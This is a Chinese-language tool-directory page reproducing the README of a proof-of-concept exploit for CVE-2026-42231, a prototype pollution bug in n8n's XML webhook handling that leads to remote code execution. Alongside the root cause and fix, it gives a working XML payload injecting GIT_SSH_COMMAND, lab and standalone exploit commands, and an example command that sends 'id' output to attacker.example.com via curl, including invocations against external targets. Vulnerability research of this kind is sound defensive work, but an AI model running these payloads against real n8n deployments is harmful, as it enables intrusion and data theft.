Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-42231 — CVE-2026-42231 的概念验证漏洞利用程序,这是 n8n XML webhook 中的一个严重原型污染漏洞,可导致远程代码执行。包含 Docker 实验环境、Python PoC 和 Node.js 验证器。 | Kitploit
工具/GitHubGitHub/rudsarkar/cve-2026-42231
漏洞分析漏洞利用Web应用程序漏洞利用Web安全
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

CVE-2026-42231 的概念验证漏洞利用程序,这是 n8n XML webhook 中的一个严重原型污染漏洞,可导致远程代码执行。包含 Docker 实验环境、Python PoC 和 Node.js 验证器。

查看仓库
13个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

GHSA-q5f4-99jv-pgg5 — n8n XML Webhook 原型污染 → RCE

CVE: CVE-2026-42231
严重性: 严重(CVSS 10.0)
受影响版本: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
修复版本: n8n 1.123.32 / 2.17.4 / 2.18.1


漏洞摘要

packages/cli/src/middlewares/body-parser.ts 创建了一个模块级 单例 xml2js Parser,未配置 tagNameProcessors 或 attrNameProcessors。这允许攻击者发送包含 <__proto__> 元素的 XML Webhook 请求体。

xml2js 0.6.2 使用带数据描述符的 Object.defineProperty 来设置 解析对象上的元素键。由于 '__proto__' in obj 始终为 , 会将值包装在数组中,并将其存储为 — 从而绕过了通常会安全更新原型链的 访问器。

true
assignOrPush()
自有可枚举数据属性
[[Set]]

自有的 __proto__ 属性在 JSON.stringify(n8n 将执行数据持久化到 SQLite/PostgreSQL 时执行)后仍然存在,并且在重新加载后经过 JSON.parse,随后的 Object.assign(target, reloadedBody) 会将 target 的原型重定向到攻击者控制的对象。

在同时包含执行 SSH 操作的 Git 节点 的工作流中, 被污染的原型会将 spawnOptions / GIT_SSH_COMMAND 值暴露给 simple-git 的 createInstanceConfig,从而实现操作系统级别的命令执行。


根本原因

root@kitploit:~
// packages/cli/src/middlewares/body-parser.ts  (存在漏洞 — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // 将标签转为小写 — 但不会阻止 __proto__
    explicitArray: false,
    // ← 无 tagNameProcessors
    // ← 无 attrNameProcessors
});

修复(>= 1.123.32):

root@kitploit:~
function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

利用链

root@kitploit:~
1. 攻击者向公开的 Webhook 触发器发送 XML POST:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. xml2js 请求体解析器创建 req.body.root,其中 '__proto__' 是
   自有可枚举数据属性:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. n8n 的 deepCopy() 通过 for...in + hasOwnProp 遍历自有键。
   赋值语句 clone['__proto__'] = deepCopy(attackerArray)
   通过 [[Set]] 访问器静默替换了 clone 的原型。

4. n8n 将执行数据序列化到数据库:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   __proto__ 键被包含在内,因为它是自有且可枚举的。
   已在 SQLite 的 execution_data 表中确认。

5. 重新加载时,JSON.parse 将 '__proto__' 重新创建为自有数据属性
   (普通对象,无数组包装)。
      Object.assign(gitOptions, reloadedBody)
   将 gitOptions 的原型重定向到攻击者控制的对象。

6. 当 Git 节点调用 simpleGit(gitOptions) 时:
      createInstanceConfig(gitOptions)
   通过原型链读取 config.spawnOptions → 为真值 →
   spawnOptionsPlugin 被注册。
   当 env 对象中存在 GIT_SSH_COMMAND 时,git 会在下一次 SSH 操作时
   执行攻击者的命令。

关于 normalizeTags 的说明

normalizeTags: true 会将所有 XML 标签名转为小写,因此像 <GIT_SSH_COMMAND> 这样的子元素在解析后的对象中会变成 git_ssh_command。 为了保留环境变量名的大小写,请使用 XML 属性 (属性名不会被 normalizeTags 规范化):

root@kitploit:~
<env GIT_SSH_COMMAND="attacker_cmd"/>

前置条件

  1. 活动工作流中必须存在一个公开的 Webhook 触发器(认证 = 无,Content-Type = XML)。
  2. 要实现完整的 RCE 路径,工作流还必须包含一个执行 SSH 认证操作的 Git 节点(通过 SSH URL 进行克隆/推送)。
  3. n8n 版本 < 1.123.32。

实验环境搭建

环境要求

  • Docker ≥ 24(含 Compose v2)
  • Python 3.9+(用于不依赖 Docker 独立使用 PoC)
  • 本地端口 5678 空闲

一键搭建

root@kitploit:~
chmod +x exploit.sh
./exploit.sh setup

此命令会拉取 n8nio/n8n:1.123.22(最后一个受影响版本),构建 攻击者镜像,在 http://localhost:5678 启动易受攻击的目标, 自动创建并激活一个 Webhook 工作流,并将 Webhook URL 保存到 .webhook_state。


端到端漏洞利用演练

1. 环境搭建

root@kitploit:~
./exploit.sh setup

预期输出(已截断):

root@kitploit:~
[*] 正在拉取易受攻击的 n8n 镜像(1.123.22)...
[*] 正在构建攻击者镜像 ...
[*] 正在启动易受攻击的 n8n 目标 ...
[*] 正在等待 n8n 变为健康状态 ...
[*] 正在创建 Webhook 工作流(Webhook → Code 节点)...
[+] 实验环境已就绪。

    运行:  ./exploit.sh demo        # 验证污染原语
          ./exploit.sh exploit     # 投递全部三个 RCE 载荷

2. 验证污染原语(演示模式)

root@kitploit:~
./exploit.sh demo

PoC 会发送一个验证载荷,并显示从 n8n 工作流回显的解析后的请求体。 易受攻击的实例会返回:

root@kitploit:~
[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. 投递 RCE 意图载荷

root@kitploit:~
./exploit.sh exploit
# 或使用自定义命令:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

将投递三个互补的载荷:

载荷技术
A<__proto__> 标签 — GIT_SSH_COMMAND 作为 XML 属性
B<constructor><prototype> 链
C嵌套 <__proto__> 带 env 属性

4. 观察结果(工作流中包含 Git 节点时)

  • 在 n8n 执行日志中,查找 git 命令错误 — 如果 RCE 触发,其中将包含 您注入的 GIT_SSH_COMMAND 的输出。
  • 在包含 Code 节点的演示模式中,工作流响应体将包含 "step4_objectAssignPolluted": true 以确认该链。

独立使用(不依赖 Docker)

root@kitploit:~
pip install -r requirements.txt

# 仅验证 — 无需 Git 节点:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --demo

# 完整利用 — 需要 Webhook + Git/SSH 节点工作流:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

Webhook URL 格式(n8n v1.123.x)

在某些部署中,n8n 将 Webhook 注册为 /webhook/<workflowId>/webhook/<path>。如果短格式 /webhook/<path> 返回 404,请将工作流 ID 前缀作为 --target 传入:

root@kitploit:~
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <path> \
    --demo

本地验证(Node.js,无需在线实例)

复现 n8n 使用的精确 xml2js 解析器配置,并逐步执行 全部四个链阶段:

root@kitploit:~
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

易受攻击配置下的预期输出:

root@kitploit:~
[STEP 1] VULNERABLE — '__proto__' is own enumerable data property
         descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
                       enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ]  If target is used as simpleGit config AND the prototype exposes
         e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ]  simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══

手动 Docker 命令

root@kitploit:~
# 构建攻击者镜像
docker build -t n8n-proto-pollution-poc .

# 演示模式(连接到共享实验网络)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# 完整利用
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# 针对外部目标(无需网络标志)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <path> \
    --demo

清理

root@kitploit:~
./exploit.sh clean

停止容器并删除卷(包括 SQLite 数据库)。


文件

文件描述
poc_GHSA-q5f4-99jv-pgg5.py独立 Python HTTP PoC — 三种 XML 载荷变体,--demo 和 --cmd 模式
verify_GHSA-q5f4-99jv-pgg5.jsNode.js 本地链验证器 — 无需在线实例即可逐步执行全部 4 个利用阶段
Dockerfile攻击者容器镜像
docker-compose.yml完整实验环境:易受攻击的 n8n + 攻击者容器
exploit.sh用于搭建、演示、利用和清理的辅助脚本
requirements.txtPython 依赖

参考

  • GHSA-q5f4-99jv-pgg5
  • n8n 1.123.32 版本更新日志
  • xml2js assignOrPush — Object.defineProperty 数据描述符
  • 通过 Object.defineProperty 实现原型污染
下载工具